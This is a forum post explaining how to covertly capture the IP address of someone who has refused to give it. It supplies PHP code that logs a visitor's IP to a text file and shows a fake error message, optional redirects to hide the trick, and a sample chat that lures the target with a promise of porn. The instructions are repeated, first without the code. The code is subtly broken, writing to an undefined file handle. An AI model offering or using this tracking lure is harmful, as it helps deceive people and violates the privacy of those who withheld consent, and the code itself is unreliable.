FartKnocker
Forum Addict
There may be a time when you do need someone's IP address and they decline to tell you/show you. There is a simple way to get their ip with little knowledge at all.
First, sign up at a PHP web host (110mb.com, freehostia.com, etc, so on and so forth).
Then. Create a file in the control panel or FTP , name it "logs.txt".
Next create a new file. Name it `index.php`.
Paste the following code into it:
Each time someone visits the page, their ip will be logged in the logs.txt. Only one IP is stored since we are using fopen 'w'.
Example msn convo:
you: hey what is your iP?
them: fuck off
you: fine then i was just wondering
them: what ever
you: well i got some great pr0nz
them: sure sure! give me!
you: http://YOURDOMAIN.YOURHOST.com/index.php?greatsexypr0nz
them: wtf unknown error has occured
you: weird.. *checks http://yourdomain.YOURHOST.com/logs.txt
The log file will be located where you created it.
If you want the page to redirect instead of displaying an error, simple use the following:
PHP REDIRECT:
Javascript Redirect:
Replace google.com to what ever site you want it to redirect to.
Enjoy getting peoples ips
.
First, sign up at a PHP web host (110mb.com, freehostia.com, etc, so on and so forth).
Then. Create a file in the control panel or FTP , name it "logs.txt".
Next create a new file. Name it `index.php`.
Paste the following code into it:
Code:
<?php
$ip = $_SERVER['REMOTE_ADDR']; // users ip is stored in the variable ip
$file = "logs.txt"; //the log file we specified
$fileopen = fopen($file, 'w') or die("error has occured"); //opens specified file
fwrite($fhopen, $ip); //writes our variable ip to the file
fclose($fileopen); //closes the file *IMPORTANT*
echo "<b>An Unknown error has occured</b>"; //just to make them think something.
?>
Each time someone visits the page, their ip will be logged in the logs.txt. Only one IP is stored since we are using fopen 'w'.
Example msn convo:
you: hey what is your iP?
them: fuck off
you: fine then i was just wondering
them: what ever
you: well i got some great pr0nz
them: sure sure! give me!
you: http://YOURDOMAIN.YOURHOST.com/index.php?greatsexypr0nz
them: wtf unknown error has occured
you: weird.. *checks http://yourdomain.YOURHOST.com/logs.txt
The log file will be located where you created it.
If you want the page to redirect instead of displaying an error, simple use the following:
PHP REDIRECT:
Code:
header("Location: http://google.com");
Javascript Redirect:
Code:
<script type="text/javascript">
window.location = 'http://google.com';
</script>
Replace google.com to what ever site you want it to redirect to.
Enjoy getting peoples ips


